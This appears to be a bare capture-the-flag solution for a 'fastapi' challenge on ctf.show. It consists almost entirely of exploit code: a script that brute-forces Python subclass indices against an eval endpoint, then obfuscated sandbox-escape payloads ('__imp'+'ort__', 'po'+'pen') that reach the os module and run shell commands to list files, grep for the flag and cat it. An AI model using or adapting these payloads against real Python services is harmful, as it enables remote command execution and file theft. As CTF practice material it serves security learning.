fastapi
str([].__class__.__base__.__subclasses__())[1:]
Last updated
str([].__class__.__base__.__subclasses__())[1:]
Last updated
import requests
url = 'http://0036be1d-d998-420a-bdef-421987f9eb43.chall.ctf.show/cccalccc'
for i in range(500):
data = {'q': 'str([].__class__.__base__.__subclasses__()[' + str(i) + '])[1:]'}
r = requests.post(url, data)
if r.text.find("warnings.catch_warnings") != -1:
print(i)
print(r.text)
[].__class__.__base__.__subclasses__()[189].__init__.__globals__['__builtins__']['__import__']('os').system('ls')str([].__class__.__base__.__subclasses__()[189].__init__.__globals__['__builtins__']['__imp'+'ort__']('os').__dict__['po'+'pen']('ls').read())[1:][].__class__.__base__.__subclasses__()[189].__init__.__globals__['__builtins__']['__imp'+'ort__']('os').__dict__['pop'+'en']('find /app | xargs grep flag').read()[].__class__.__base__.__subclasses__()[189].__init__.__globals__['__builtins__']['__imp'+'ort__']('os').__dict__['pop'+'en']('cat /mnt/f1a9').read()